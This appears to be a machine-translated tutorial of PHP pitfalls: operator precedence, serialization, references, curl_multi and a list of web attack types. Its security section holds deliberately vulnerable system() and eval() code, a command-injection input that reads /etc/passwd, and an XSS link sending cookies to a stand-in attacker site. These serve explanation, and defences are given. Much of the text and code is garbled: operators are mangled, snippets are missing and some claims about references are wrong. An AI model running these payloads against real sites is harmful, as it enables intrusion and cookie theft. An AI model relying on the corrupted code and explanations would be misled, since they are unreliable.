Summary of Considerations for PHP-based programming _php tutorial

Source: Internet
Author: User
Tags form post sql injection attack
1, PHP recessive ternary operator (?:) Priority issues:

Example 1:
Copy the Code code as follows:
$person = $who or $person = "laruence";

is actually equivalent to:

$person = Empty ($who)? "Laruence": $who;

Example 2
Copy the Code code as follows:
$arr = Array (1=>1,3=>3);
$i = 2;
$a = ' test '. Isset ($arr [$i])? $arr [$i]: $i;

What is $a? This question, at first glance, feels simple,

$a = ' test2 ';

In fact, after careful scrutiny of the operation, the result is notice:undefined index 2.

Because of the priority problem, the connector has a higher precedence than the ternary operator.

The first is to Judge ' test '. Isset ($arr [$i]) This string is always true, so:

$a = $arr [$i], so PHP prompts for reminders.

2. php function names and class names are not case-sensitive, and variable names are case-sensitive.

So I write the PHP module, is often the problem of uppercase, compile does not pass.

3. Serialization Transfer problem

Compress complex data types into a string
Serialize () encodes variables and their values into textual form
Unserialize () restore the original variable
Copy the Code code as follows:
$stooges = Array (' Moe ', ' Larry ', ' Curly ');
$new = serialize ($stooges);
Print_r ($new); echo "
";
Print_r (Unserialize ($new));

Results: a:3:{i:0;s:3: "Moe"; I:1;s:5: "Larry"; I:2;s:5: "Curly";}
Array ([0] = Moe [1] = Larry [2] = Curly)
When you place these serialized data in a URL and pass between pages, you need to call UrlEncode () on the data to ensure that the URL metacharacters in it are processed:
Copy CodeThe code is as follows:
$shopping = Array (' Poppy seed bagel ' = 2, ' Plain bagel ' =>1, ' Lox ' =>4);
Echo ' Next ';

The settings of the MARGIC_QUOTES_GPC and Magic_quotes_runtime configuration items affect the data that is passed to Unserialize ().
If the MAGIC_QUOTES_GPC entry is enabled, the data passed in the URL, post variables, and cookies must be processed with stripslashes () before deserialization:
Copy CodeThe code is as follows:
$new _cart = unserialize (stripslashes ($cart)); If MAGIC_QUOTES_GPC is turned on
$new _cart = unserialize ($cart);

If Magic_quotes_runtime is enabled, it must be processed with addslashes () before writing the serialized data to the file, and must be processed with stripslashes () before reading them:
Copy CodeThe code is as follows:
$fp = fopen ('/tmp/cart ', ' W ');
Fputs ($FP, Addslashes (serialize ($a)));
Fclose ($FP);
If Magic_quotes_runtime is turned on
$new _cat = unserialize (stripslashes (file_get_contents ('/tmp/cart '));
If Magic_quotes_runtime is turned off
$new _cat = unserialize (file_get_contents ('/tmp/cart '));

In the case of Magic_quotes_runtime enabled, reading serialized data from the database must also be processed by stripslashes (), and the serialized data saved to the database must be processed by addslashes () so that it can be stored appropriately.
Copy CodeThe code is as follows:
mysql_query ("INSERT INTO cart (Id,data) VALUES (1, '". Addslashes (Serialize ($cart)). ");
$rs = mysql_query (' Select data from cart where id=1 ');
$ob = Mysql_fetch_object ($RS);
If Magic_quotes_runtime is turned on
$new _cart = unserialize (stripslashes ($ob->data));
If Magic_quotes_runtime is turned off
$new _cart = unserialize ($ob->data);

When an object is deserialized, PHP automatically calls its __wakeup () method. This allows the object to reestablish various states that could not be persisted when serializing. For example: Database connections, and so on.

4. Citation considerations
The reference in PHP means accessing the same variable content with a different name, referencing a pointer that is not C (the contents of a variable stored in a pointer in C, the address in memory), is another alias or mapping of the variable. Note that in PHP, variable names and variable contents are not the same, so the same content can have different names. The closest analogy is the Unix filename and the file itself-the variable name is the directory entry, and the variable content is the file itself. References can be seen as a tight connection in a Unix file system or as a shortcut to WINS.

1) unset a reference, but breaks the binding between the variable name and the content of the variable. This does not mean that the contents of the variable have been destroyed.

For example: Do not unset $b, just $a.
Copy the Code code as follows:

$a = 1;
$b =& $a;
unset ($a);
Echo $b; Output: 1:

Using unset ($a) is not the same as the result of $a=null. If the block memory only a $ A mapping, then unset ($a) and $a=null equivalent, the memory reference count becomes 0, is automatically recycled, if the block memory has $ A and $b two mappings, then unset ($a) will cause $a=null and $b, and $a= Null causes $a= to $b =null.
Cause: A variable is assigned null, which causes the reference count of the memory block corresponding to the variable to be set directly to 0 and is automatically reclaimed.

2) PHP Reference is a reference count, write-time copy

Many people misunderstand that the reference in PHP is the same as the pointer in C, which is not, in fact, very different. In addition to the pointer in the C language without explicit declaration, the other need to use * to define, and PHP for the address of the pointer (similar to the pointer) function is not implemented by the user itself, is implemented by the Zend Core, PHP refers to the use of "reference count, write-time copy" principle, ( Copy-on-write (Copy-on-write, also abbreviated as Cow), as the name implies, is only true when writing a copy of the memory to modify. )

Unless a write operation occurs, a variable or object that points to the same address is not copied, such as the following code:
$a = Array (' A ', ' C ' ... ' n ');
$b = $a;
If the program only executes here, $b and $b are the same, but not like C, $a and $b occupy different memory space, but instead point to the same piece of memory, which is the difference between PHP and C, do not need to write $b=& $a to represent the $b point to $ A memory, Zend has already helped you to make references, and Zend will be very intelligent to help you decide when to deal with this and when not to do so.

If you continue to write the following code, add a function, pass the parameter by reference, and print the output array size.
Copy the Code code as follows:
Function PrintArray (& $arr)//reference delivery
{
Print (count ($arr));
}
PrintArray ($a);

In the above code, we pass the $ A array into the PrintArray () function by reference, and the Zend engine will think that PrintArray () may cause a change to $ A, which will automatically produce a $ A copy of the data for $b and re-request a piece of memory for storage. This is the "reference count, write-time copy" concept mentioned earlier.

Intuitive understanding: $a will use its own original memory space, and $b will use the newly opened memory space, and this space will use a $ A original ($a or $b change before) content space content of the copy, and then make the corresponding changes.

If we change the code above to the following:
Copy the Code code as follows:
function PrintArray ($arr)//value Pass
{
Print (count ($arr));
}
PrintArray ($a);

The above code passes a $ A value directly into PrintArray () and there is no reference pass at this time, so there is no write-time copy.

5. Problems with coding

The program code uses the Utf-8 code, and the Strlen function computes the number of bytes of the string instead of the number of characters?
$str = "Hello hello";

echo strlen ($STR);

Result: Ansi=9 and the Utf-8=11,utf-8 character encoding is 3 bytes. To get the number of characters, use Mb_strlen ().

6. Three ways to get parameters in PHP

Method one uses $ARGC $argv
Copy the Code code as follows:
if ($ARGC > 1) {
Print_r ($ARGV);
}

Run/usr/local/php/bin/php under the command line./getopt.php-f 123-g 456

Operation Result:
#/usr/local/php/bin/php./getopt.php-f 123-g 456
Array
(
[0] = =./getopt.php
[1] = f
[2] = 123
[3] = =-G
[4] = 456
)

Method two using the Getopt function ()
Copy the Code code as follows:
$options = "F:g:";
$opts = getopt ($options);
Print_r ($opts);

Run/usr/local/php/bin/php under the command line./getopt.php-f 123-g 456
Operation Result:
Array
(
[F] = 123
[g] = 456
)

Method three prompts the user for input, and then gets the input parameters. Kind of like C language.
Copy the Code code as follows:
Fwrite (STDOUT, "Enter Your Name:");
$name = Trim (fgets (STDIN));
Fwrite (STDOUT, "Hello, $name!");

Run/usr/local/php/bin/php./getopt.php under the command line
Run results
Enter your Name:francis
Hello, francis!.


7. PHP string can be used as an array, and a C pointer string like
Copy the Code code as follows:
$s = ' 12345 ';
$s [$s [0]] = 0;
Echo $s;
?>

The result is 10345.


8. PHP's high-efficiency notation:

9. PHP Security Vulnerability Issues:

The following are the main types of attacks for PHP websites:

1. Order Injection (Command injection)

PHP can use the following 5 functions to perform external applications or functions system, exec, PassThru, Shell_exec, "(Same as shell_exec function)
Such as:
Copy the Code code as follows:
$dir = $_get["dir"];
if (Isset ($dir)) {
echo "";
System ("Ls-al". $dir);
echo "";
}
?>

We submit http://www.test.com/ex1.php?dir=| CAT/ETC/PASSWD, the command became system ("Ls-al | CAT/ETC/PASSWD "); Our server user information has been stolen.

2. Eval Injection (eval injection)

The Eval function executes the input string parameter as PHP code, and the eval injection typically occurs when an attacker can control the input string.
Copy the Code code as follows:
$var = "Var";
if (Isset ($_get["Arg"]))
{
$arg = $_get["arg"];
Eval ("\ $var = $arg;");
echo "\ $var =". $var;
}
?>

When we submit http://www.sectop.com/ex2.php?arg=phpinfo (), the loophole arises;

Methods for preventing command injection and eval injection

1), try not to execute external commands.

2), the use of custom functions or libraries to replace the functions of external commands, and even some servers directly prohibit the use of these functions.

3), using the Escapeshellarg function to handle the command parameters, the Esacpeshellarg function will be any cause parameter or command end of the character escapes, single quotation mark "'", replaced by "\", double quotation mark "" ", replace with" \ "", semicolon ";" Replace with "\;"

3. Client-side scripting Attack (script insertion)

Attack steps for client script implantation

1), the attacker registered ordinary users after landing site

2), open the Message page, insert the attack JS code

3), other user login website (including administrator), browse the content of this message

4), hidden in the message content of the JS code is executed, the attack succeeded

Forms enter scripts that some browsers can execute:

Insert Infinite Bullet Box

Insert Jump Fishing Page
The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to turn some strings into HTML entities.

4. Cross-site scripting attacks (Scripting, XSS)

A malicious attacker inserts malicious HTML code into a Web page, and when the user browses to the page, HTML code embedded inside the Web is executed to achieve the special purpose of the malicious user.

Cross-site scripting is primarily used by attackers to read Web site users ' cookies or other personal data, and once an attacker obtains such data, he can impersonate the user to log on to the site and gain access to the user.

General steps for cross-site scripting attacks:

1), an attacker sends an XSS HTTP link to a target user in some way, such as a comment form:

Insert

or a link:

http://w w w.my.site/index.php?user=< Script >document.location= "http://w w w.atacker.site/get.php?cookie=" + document.cookie;</SCRIPT >

2), the target user login to this website, during the login opened the attacker sent an XSS link

3), the website executes this XSS attack script

4), the target user page jumps to the attacker's website, the attacker obtains the target user's information

5), the attacker uses the target user's information to log on to the website, complete the attack

The best way to prevent malicious HTML tags is to use htmlspecailchars or htmlentities to turn some strings into HTML entities.

5. SQL injection attack (SQL injection)

The most effective way to defend SQL injection is to use prepared statements:

The Prepare statement (also called the PREP Statement prepared statements) is a query that sends them to the server for precompilation and preparation, and tells it where to store the parameters at a later time when the query is executed.

The advantages:

1) Escape the value of the parameter. So you don't have to call like mysqli::real_escape_string or enclose the argument in quotation marks.

2) When executed more than once in a script, the performance of the prepared statement is usually better than sending the query over the network each time, and when a query is executed again, only the parameters are sent to the database, which takes up less space.

1) using PDO (PHP Data Objects):
Copy the Code code as follows:
PHP PDO::p repare () and execute ()

$preparedStatement = $db->prepare (' INSERT into table (column) VALUES (: Column) ');

$preparedStatement->execute (Array (': column ' = $unsafeValue));

2) Use mysqli:
Copy the Code code as follows:
$stmt = $dbConnection->prepare (' SELECT * FROM employees WHERE name =? ');

$stmt->bind_param (' s ', $name);

$stmt->execute ();

$result = $stmt->get_result ();

while ($row = $result->fetch_assoc ()) {

Do something with $row

}

6. Cross-site request forgery attack (forgeries, CSRF)

7. Session hijacking (Sessions hijacking)

8, session fixed attack (session fixation)

9. HTTP response Split attack (HTTP Response splitting)

10 Files Upload Vulnerability (file Upload Attack)

11. Directory Traversal Vulnerability (directory traversal)

12. Remote file contains attack (inclusion)

13. Dynamic function Injection Attack (Variable Evaluation)

14. URL attack (URL attack)

15. Form submission Spoofing attack (spoofed form submissions)

16. HTTP request Spoofing Attack (spoofed HTTP requests)

Several important php.ini options: register_globals, Magic_quotes, Safe_mode. This few options will be deprecated in PHP5.4.

Register_globals:

The default value of Php>=4.2.0,php.ini's register_globals option is preset to OFF when Register_globals

When set to ON, the program can receive various environment variables from the server, including the variables submitted by the form, and because PHP does not have to initialize the value of the variable beforehand, which leads to a large security risk.

To make sure that register_globals is disabled. If Register_globals is enabled, you might do something careless, such as replacing a GET or POST string with the same name with a $variable. By disabling this setting, PHP forces you to reference the correct variable in the correct namespace. To use a variable from a form POST, you should refer to $_post[' variable '. This will not misinterpret this particular variable as a cookie, session, or GET variable.

Safe_mode:

In Safe mode, PHP is used to restrict access to documents, restrict access to environment variables, and control the execution of external programs. Safe_mode=on in php.ini must be set to enable Safe mode

Magic_quotes

Used to automatically escape the input information of the PHP program, all single quotes ("'"), double quotes ("" "), backslashes (" \ ") and null characters (NULL) are automatically added with backslashes to escape magic_quotes_gpc=on to set Magicquotes to ON, It affects HTTP request data (GET, POST, Cookies) programmers can also use Addslashes to escape submitted HTTP request data, or use Stripslashes to remove escapes.


Ten. Curl Requests concurrent use

Curl is a must-have, but it is not estimated to be used concurrently. But in some cases it is useful, such as invoking multiple other interfaces in the same request, and the traditional method requires a serial request interface:

file_get_contents (' http://a.php ');//1 sec

file_get_contents (' http://b.php ');//2 sec

file_get_contents (' http://c.php ');//2 sec

It takes 5 seconds, but the Muti method of operating curl, we can request it in 2 seconds. In the PHP manual there is a piece of code:
Copy CodeThe code is as follows:
$MRC = Curl_multi_init ();
Make a request
.......
$active = null;
do {
$MRC = Curl_multi_exec ($MH, $active);
} while ($MRC = = Curlm_call_multi_perform);

while ($active && $MRC = = CURLM_OK) {
if (Curl_multi_select ($MH)! =-1) {
do {
$MRC = Curl_multi_exec ($MH, $active);
} while ($MRC = = Curlm_call_multi_perform);
}
}
The following is the result of processing the request return

But if I have 1000 requests, then the curl batch will be concurrent with 1000 requests, which is obviously unreasonable, so you should control a concurrency number and add the remaining connections to the request queue:
Reference: How to use Curl_multi () without blocking
Copy CodeThe code is as follows:
$connomains = Array (
2.php go for yourself.
"Http://localhost/2.php?id=1",//sleep (1) Sec
"Http://localhost/2.php?id=2",//sleep (2) Sec
"Http://localhost/2.php?id=5",//sleep (5) Sec
);

$MH = Curl_multi_init ();

foreach ($connomains as $i = = $url) {
$conn [$i] = Curl_init ($url);//Initialize each child connection
curl_setopt ($conn [$i], Curlopt_returntransfer, 1);//not directly output to the browser
Curl_multi_add_handle ($MH, $conn [$i]);//Add a multi-handle handle
}

$active = number of 0;//connections

do {
do{
Here the $active will be rewritten as the current number of unhandled
All successful $active will become 0.
$MRC = Curl_multi_exec ($MH, $active);

The purpose of this loop is to read and write as much as possible until it is impossible to continue reading and writing (return CURLM_OK)
return (curlm_call_multi_perform) means that you can continue to read and write to the network
}while ($MRC ==curlm_call_multi_perform);


If everything is OK, then we have to do a poll, every time (the default is 1 seconds) request again
This is the role of Curl_multi_select, which, if any, returns the number of handles that are currently read and written in the waiting process, so
Continue the Read and write operation, 0 there is no read and write handle (completed)
} while ($MRC ==curlm_ok&& $active &&curl_multi_select ($MH)!=-1)//until error or all read and write completed

if ($MRC! = CURLM_OK) {
Print "Curl multi read error $MRC/n";
}

Retrieve data
foreach ($connomains as $i = = $url) {
if ($err = Curl_error ($conn [$i]) = = = ") {
$res [$i]=curl_multi_getcontent ($conn [$i]);
} else {
Print "Curl error on handle $i: $err/n";
}
Curl_multi_remove_handle ($MH, $conn [$i]);
Curl_close ($conn [$i]);
}
Curl_multi_close ($MH);

Print_r ($res);
?>

Some people in order to save trouble, so write:

do {curl_multi_exec ($MH, $active);} while ($active);

Seemingly can also get results, but in fact very not rigorous, and very wasteful CPU, because this loop will continue to call, until all the link processing finished, add a print ' a ' in the loop to see the effect.


11, empty Use magic method __get to determine whether an object property is empty does not work

Please note this results of empty () when called on Non-existing/non-public variables of a class is a bit confusing if u Sing Magic Method __get (as previously mentioned by nahpeps at gmx Dot de). Consider this example:
Copy the Code code as follows:
Class Registry
{
Protected $_items = Array ();
Public Function __set ($key, $value)
{
$this->_items[$key] = $value;
}
Public Function __get ($key)
{
if (Isset ($this->_items[$key])) {
return $this->_items[$key];
} else {
return null;
}
}
}

$registry = new Registry ();
$registry->empty = ";
$registry->notempty = ' not empty ';

Var_dump (Empty ($registry->notexisting)); True, so far so good
Var_dump (Empty ($registry->empty)); True, so far so good
Var_dump (Empty ($registry->notempty)); True,.. Say what?
$tmp = $registry->notempty;
Var_dump (Empty ($tmp)); False as expected
?>

12, the Linux command line execution PHP file format must be UNIX.

PHP./test.php
If Test.php is uploaded by WinDOS, its format may be DOS.
Then run the command to error: Could not open input file

We can use: set FF in VI to see the format:

Fileformat=dos


In the case of a DOS format, use: Set Ff=unix to format the new


Then use: Set FF to view the format, you can see the format is already UNIX;


Fileformat=unix

http://www.bkjia.com/PHPjc/326954.html www.bkjia.com true http://www.bkjia.com/PHPjc/326954.html techarticle 1, PHP recessive ternary operator (?:) Priority issue: Example 1: Copy code code as follows: $person = $who or $person = "laruence"; is actually equivalent to: $person = Empty ($who)? "La ...

  • Contact Us

    The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

    If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

    A Free Trial That Lets You Build Big!

    Start building with 50+ products and up to 12 months usage for Elastic Compute Service

    • Sales Support

      1 on 1 presale consultation

    • After-Sales Support

      24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.